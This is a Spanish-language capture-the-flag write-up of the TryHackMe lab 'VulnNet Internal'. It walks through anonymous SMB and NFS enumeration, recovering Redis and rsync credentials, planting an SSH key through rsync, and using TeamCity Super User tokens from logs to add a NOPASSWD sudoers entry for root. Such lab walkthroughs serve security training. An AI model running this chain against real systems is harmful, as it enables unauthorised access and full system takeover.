> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/vulnnet_internal.md).

# VulnNet Internal

## Introduccion

En esta maquina de TryHackMe se trabaja una red interna con varios servicios expuestos: SMB, NFS, Redis, rsync y un TeamCity accesible solo desde `localhost`.

La cadena empieza enumerando recursos anonimos en SMB y NFS. Desde el export NFS se recupera la password de Redis, y en Redis aparece una credencial codificada en Base64 para `rsync`. Con esa credencial se puede escribir en el home de `sys-internal`, subir una clave publica SSH y obtener acceso a la maquina.

La escalada final llega mediante TeamCity: el servicio escucha en `127.0.0.1:8111`, se accede por port forwarding, se recupera un token de Super User desde los logs y se crea un build step que modifica `sudoers` para dar permisos de root a `sys-internal`.

***

## Escaneo y enumeracion

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- --min-rate 5000 10.128.171.30
```

<div align="center"><img src="/files/CTe9mNJBagg4C0lJXqMi" alt="Escaneo Nmap"></div>

Servicios principales:

| Puerto   | Servicio | Version               |
| -------- | -------- | --------------------- |
| 22/tcp   | SSH      | OpenSSH 8.2p1 Ubuntu  |
| 445/tcp  | SMB      | Samba smbd 4          |
| 873/tcp  | rsync    | protocol version 31   |
| 2049/tcp | NFS      | nfs\_acl              |
| 6379/tcp | Redis    | Redis key-value store |

La superficie es claramente interna, asi que se empieza por enumerar SMB, NFS, Redis y rsync.

***

## Enumeracion SMB

Se listan recursos compartidos sin credenciales:

```bash
smbclient -L 10.128.171.30 -N
```

<div align="center"><img src="/files/21yKMH5A9I0NHM6tctvT" alt="Enumeracion SMB"></div>

Aparece el recurso `shares`:

```
shares
```

Se accede de forma anonima:

```bash
smbclient //10.128.171.30/shares -N
```

<div align="center"><img src="/files/v6t2cdtVxyTraUe8xBzl" alt="Descarga de archivos por SMB"></div>

Dentro aparecen los directorios `data` y `temp`, desde los que se descargan archivos como:

```
data.txt
business-req.txt
services.txt
```

Estos archivos ayudan a orientar la enumeracion hacia los servicios internos.

***

## Enumeracion rsync inicial

Se revisan modulos de `rsync`:

```bash
rsync rsync://10.128.171.30/
```

<div align="center"><img src="/files/JmQDvj0fpDulvsbo0OxQ" alt="Modulo rsync protegido"></div>

El servidor muestra el modulo `files`, pero al intentar acceder pide password:

```bash
rsync rsync://10.128.171.30/files
```

De momento se deja pendiente y se continua con NFS.

***

## Enumeracion NFS

Se listan exports NFS:

```bash
showmount --exports 10.128.171.30
```

<div align="center"><img src="/files/p0jD0eLK47SRpNG5qOOe" alt="Exports NFS"></div>

Aparece exportado:

```
/opt/conf *
```

Se monta el recurso:

```bash
sudo mkdir -p /mnt/VulnNet
sudo mount 10.128.171.30:/opt/conf /mnt/VulnNet
```

<div align="center"><img src="/files/JypOOGmmA13g52gnaXmP" alt="Montaje NFS"></div>

Dentro del directorio montado se encuentra configuracion de Redis:

```bash
cd /mnt/VulnNet/redis
cat redis.conf
```

<div align="center"><img src="/files/RzjUpjjtXzOpKviryBoC" alt="Lectura de redis.conf"></div>

El archivo contiene la password de Redis:

<div align="center"><img src="/files/qxayzTlbhCsxPYypEUI5" alt="Password de Redis"></div>

```
B65Hx562F@ggAZ@F
```

***

## Acceso a Redis

Con la password encontrada se conecta a Redis:

```bash
redis-cli -h 10.128.171.30 -a 'B65Hx562F@ggAZ@F' -p 6379
```

<div align="center"><img src="/files/4ULq7Pf3oGgZC2MJPPU5" alt="Conexion a Redis"></div>

Se selecciona la base de datos y se listan claves:

```redis
select 0
keys *
get "internal flag"
```

<div align="center"><img src="/files/1WzRACTnmQKDxKAHREbu" alt="Claves en Redis"></div>

Una clave interesante es:

```
authlist
```

Se leen sus entradas:

```redis
lrange authlist 0 5
```

<div align="center"><img src="/files/70X94AMZc1TViysiuDRB" alt="authlist en Redis"></div>

Las entradas estan codificadas en Base64. Al decodificar una de ellas:

```bash
echo "QXV0aG9yaXphdGlvbiBmb3Igc..." | base64 -d
```

<div align="center"><img src="/files/efBJnBXxTwUfwMbEWQCw" alt="Credencial rsync decodificada"></div>

Se obtiene una credencial para rsync:

```
rsync-connect:Hcg3HP67aTWW@Bc72v
```

***

## Acceso por rsync

Con la credencial se vuelve al modulo `files`:

```bash
rsync rsync://rsync-connect@10.128.171.30/files
```

<div align="center"><img src="/files/5Whwt1jGI1081MaDdrML" alt="Listado rsync files"></div>

El modulo contiene varios directorios de usuario:

```
sysm-user
sys-internal
ubuntu
```

El directorio mas interesante es `sys-internal`:

```bash
rsync rsync://rsync-connect@10.128.171.30/files/sys-internal/
```

<div align="center"><img src="/files/8cVdlWRc1ED5ziOC61CC" alt="Home de sys-internal via rsync"></div>

Como existe un directorio `.ssh`, se genera una clave SSH local:

```bash
ssh-keygen -t ed25519 -f /tmp/thm/id_ed25519 -N ""
```

Se prepara la clave publica como `authorized_keys` y se sube por rsync:

```bash
cp /tmp/thm/id_ed25519.pub /tmp/thm/authorized_keys
rsync -a /tmp/thm/authorized_keys \
  rsync://rsync-connect@10.128.171.30/files/sys-internal/.ssh/
```

<div align="center"><img src="/files/ap7xGDdjdDNPHKwHtNoq" alt="Subida de clave SSH por rsync"></div>

***

## Acceso SSH como sys-internal

Con la clave privada se accede por SSH:

```bash
ssh -i /tmp/thm/id_ed25519 sys-internal@10.128.171.30
```

<div align="center"><img src="/files/R1TxhefGOjAAtb100BOR" alt="SSH como sys-internal"></div>

El acceso inicial local ya esta conseguido como:

```
sys-internal
```

***

## Enumeracion de TeamCity

En la raiz del sistema aparece un directorio `TeamCity`:

```bash
ls /
cd /TeamCity
```

<div align="center"><img src="/files/4p6S8xuEn9xYeS1aHUFN" alt="Directorio TeamCity"></div>

El README indica que TeamCity suele escuchar en el puerto `8111`:

```bash
cat TeamCity-readme.txt
```

<div align="center"><img src="/files/jOxSid1BLDeeILhioLmu" alt="README de TeamCity"></div>

Se revisan conexiones locales:

```bash
ss -tn
```

<div align="center"><img src="/files/A6ikDnMGgkX9d9pM9DY2" alt="TeamCity en localhost 8111"></div>

TeamCity esta escuchando en:

```
127.0.0.1:8111
```

Se crea un tunel SSH desde la maquina atacante:

```bash
ssh -i /tmp/thm/id_ed25519 -L 8111:127.0.0.1:8111 sys-internal@10.128.171.30
```

Al abrir `http://localhost:8111/login.html`, aparece el login de TeamCity:

<div align="center"><img src="/files/MLjDvpCe1dGohJfHctS8" alt="Login de TeamCity"></div>

La interfaz indica que no hay administrador y permite entrar como Super User usando un token.

***

## Token de Super User

Se buscan tokens en los logs de TeamCity:

```bash
cd /TeamCity/logs
cat * | grep "token" 2>/dev/null
```

<div align="center"><img src="/files/4eNDDySHb6JYTLVV5QI0" alt="Tokens de TeamCity"></div>

Los logs muestran varios tokens de autenticacion de Super User. Se usa uno de ellos como password dejando el usuario vacio.

Tras el login, se accede como `Super user`:

<div align="center"><img src="/files/QrUfIz7cXWx4JKl8cLVY" alt="Acceso como Super user"></div>

***

## Ejecucion de comandos con TeamCity

Se crea un proyecto de prueba:

<div align="center"><img src="/files/zBIjBpiHE6U0dMexLTA2" alt="Proyecto creado en TeamCity"></div>

Dentro del proyecto se crea una build configuration con un build step de tipo `Command Line`:

<div align="center"><img src="/files/Ant8tAAyMlXVqwoMGzRS" alt="Build step Command Line"></div>

El script modifica `sudoers` para que `sys-internal` pueda ejecutar cualquier comando como root sin password:

```bash
echo "sys-internal ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/sys-internal
```

<div align="center"><img src="/files/KAYgybBe8VAThNPYNaGA" alt="Payload en TeamCity"></div>

Se ejecuta el build:

<div align="center"><img src="/files/z8JNrqIU4b569OwXxHvm" alt="Build en ejecucion"></div>

***

## Escalada a root

Tras ejecutar el build, se vuelve a la shell SSH y se prueba `sudo`:

```bash
sudo su
whoami
```

<div align="center"><img src="/files/qqrrDDtveK1Ovbrf3l1l" alt="Shell root"></div>

El resultado confirma el compromiso total:

```
root
```

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap para detectar SMB, rsync, NFS, Redis y SSH.
2. Enumeracion SMB anonima y descarga de archivos desde `shares`.
3. Enumeracion inicial de rsync y deteccion del modulo `files`.
4. Enumeracion NFS y montaje de `/opt/conf`.
5. Lectura de `redis.conf` para obtener la password de Redis.
6. Acceso a Redis y lectura de claves internas.
7. Decodificacion Base64 de `authlist`.
8. Obtencion de credenciales para `rsync-connect`.
9. Acceso al home de `sys-internal` por rsync.
10. Subida de una clave publica SSH como `authorized_keys`.
11. Acceso SSH como `sys-internal`.
12. Deteccion de TeamCity en `127.0.0.1:8111`.
13. Port forwarding SSH para acceder a TeamCity desde el navegador.
14. Recuperacion de token de Super User desde logs.
15. Creacion de build step `Command Line`.
16. Modificacion de `sudoers`.
17. Escalada final a `root` con `sudo su`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/vulnnet_internal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
